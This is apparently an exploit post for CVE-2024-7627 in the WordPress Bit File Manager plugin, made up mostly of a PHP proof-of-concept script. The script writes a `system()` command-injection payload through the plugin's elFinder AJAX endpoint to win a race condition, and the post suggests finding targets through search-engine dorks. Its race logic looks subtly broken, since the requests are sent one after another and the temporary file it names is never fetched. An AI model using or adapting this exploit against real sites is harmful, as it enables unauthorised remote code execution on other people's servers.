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| # Title : WordPress Bit =============================================================================================================================================
| # Title : WordPress Bit File Manager 6.5.5 Race Condition php code injection |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://wordpress.org/plugins/file-manager/ |
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POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: exploiting Remote Command Execution Vulnerability via Race Condition in Vulnerable WordPress Plugins Using elFinder

(Related : https://packetstorm.news/files/id/189176/ Related CVE numbers: CVE-2024-7627 ) .

[+] save code as poc.php.

[+] Set Target : line 112.

[+] Usage : php poc.php

[+] PayLoad :

<?php
class Poc {
private $targetBaseUrl;
private $session;
private $raceConditionJobs;
private $ELFINDER_AJAX_ACTION = 'bit_fm_connector_front';
private $READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open';
private $EDIT_FILE_ELFINDER_COMMAND = 'put';
private $AJAX_ENDPOINT;
private $PHP_PAYLOAD = '<?php system("{cmd}");?>';
private $EDITED_TEMPORARY_FILE_URL;

public function __construct($targetBaseUrl, $raceConditionJobs = 50) {
$this->targetBaseUrl = $targetBaseUrl;
$this->session = curl_init();
$this->raceConditionJobs = $raceConditionJobs;
$this->AJAX_ENDPOINT = $this->targetBaseUrl . '/wp-admin/admin-ajax.php';
$this->EDITED_TEMPORARY_FILE_URL = $this->targetBaseUrl . '/wp-content/uploads/file-managertemp.php';
}

public function getAjaxNonce($fileManagerPostPath) {
echo '[*] Getting a valid AJAX nonce...' . PHP_EOL;
$fileManagerPostUrl = $this->targetBaseUrl . $fileManagerPostPath;
curl_setopt($this->session, CURLOPT_URL, $fileManagerPostUrl);
curl_setopt($this->session, CURLOPT_RETURNTRANSFER, 1);
$responseText = curl_exec($this->session);

preg_match('/var fm = (.*);/', $responseText, $matches);
if (empty($matches)) {
echo '[-] Unable to get a valid AJAX nonce' . PHP_EOL;
exit(0);
}

$parsedJsonObject = json_decode($matches[1], true);
$ajaxNonce = $parsedJsonObject['nonce'];
echo '[+] Found the valid AJAX nonce: ' . $ajaxNonce . PHP_EOL;
return $ajaxNonce;
}

public function getRandomFileHash($nonce) {
echo '[*] Getting a random file\'s hash via elFinder command "' . $this->READ_DIRECTORY_FILES_ELFINDER_COMMAND . '"...' . PHP_EOL;
$bodyData = [
'action' => $this->ELFINDER_AJAX_ACTION,
'nonce' => $nonce,
'cmd' => $this->READ_DIRECTORY_FILES_ELFINDER_COMMAND,
'init' => '1'
];

$ch = curl_init($this->AJAX_ENDPOINT);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($bodyData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$jsonResponse = json_decode(curl_exec($ch), true);

if (isset($jsonResponse['error'])) {
echo '[-] Unable to get a random file\'s hash' . PHP_EOL;
exit(0);
}

$currentWorkingDirectoryFiles = $jsonResponse['files'];
foreach ($currentWorkingDirectoryFiles as $file) {
if (isset($file['hash']) && isset($file['name']) && $file['mime'] !== 'directory') {
$fileHash = $file['hash'];
$filename = $file['name'];
break;
}
}

echo '[+] Found file "' . $filename . '" with hash "' . $fileHash . '"!' . PHP_EOL;
return $fileHash;
}

public function executeEditFileRaceCondition($nonce, $fileHash, $commandToExecute) {
echo '[*] Editing file with hash "' . $fileHash . '" via elFinder command "' . $this->EDIT_FILE_ELFINDER_COMMAND . '" and getting the edited temporary PHP file at "' . $this->EDITED_TEMPORARY_FILE_URL . '"...' . PHP_EOL;

$bodyData = [
'action' => $this->ELFINDER_AJAX_ACTION,
'nonce' => $nonce,
'cmd' => $this->EDIT_FILE_ELFINDER_COMMAND,
'target' => $fileHash,
'content' => str_replace('{cmd}', $commandToExecute, $this->PHP_PAYLOAD)
];

$results = [];
for ($i = 0; $i < $this->raceConditionJobs; $i++) {
$ch = curl_init($this->AJAX_ENDPOINT);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($bodyData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$results[] = curl_exec($ch);
}

foreach ($results as $responseText) {
if (empty($responseText)) {
echo '[-] Failed to read the edited temporary PHP file in time' . PHP_EOL;
continue;
}

echo '[+] We won the race condition! Here\'s the PHP payload result:' . PHP_EOL;
echo $responseText . PHP_EOL;
break;
}
}

public function exploit($fileManagerPostPath, $commandToExecute) {
$ajaxNonce = $this->getAjaxNonce($fileManagerPostPath);
$fileHash = $this->getRandomFileHash($ajaxNonce);
$this->executeEditFileRaceCondition($ajaxNonce, $fileHash, $commandToExecute);
}
}

$targetBaseUrl = 'http://localhost'; // Change to the target URL
$fileManagerPostPath = '/?p=6'; // Change to the correct path
$commandToExecute = 'whoami; id; hostname'; // Command to execute

$poc = new Poc($targetBaseUrl);
$poc->exploit($fileManagerPostPath, $commandToExecute);
?>



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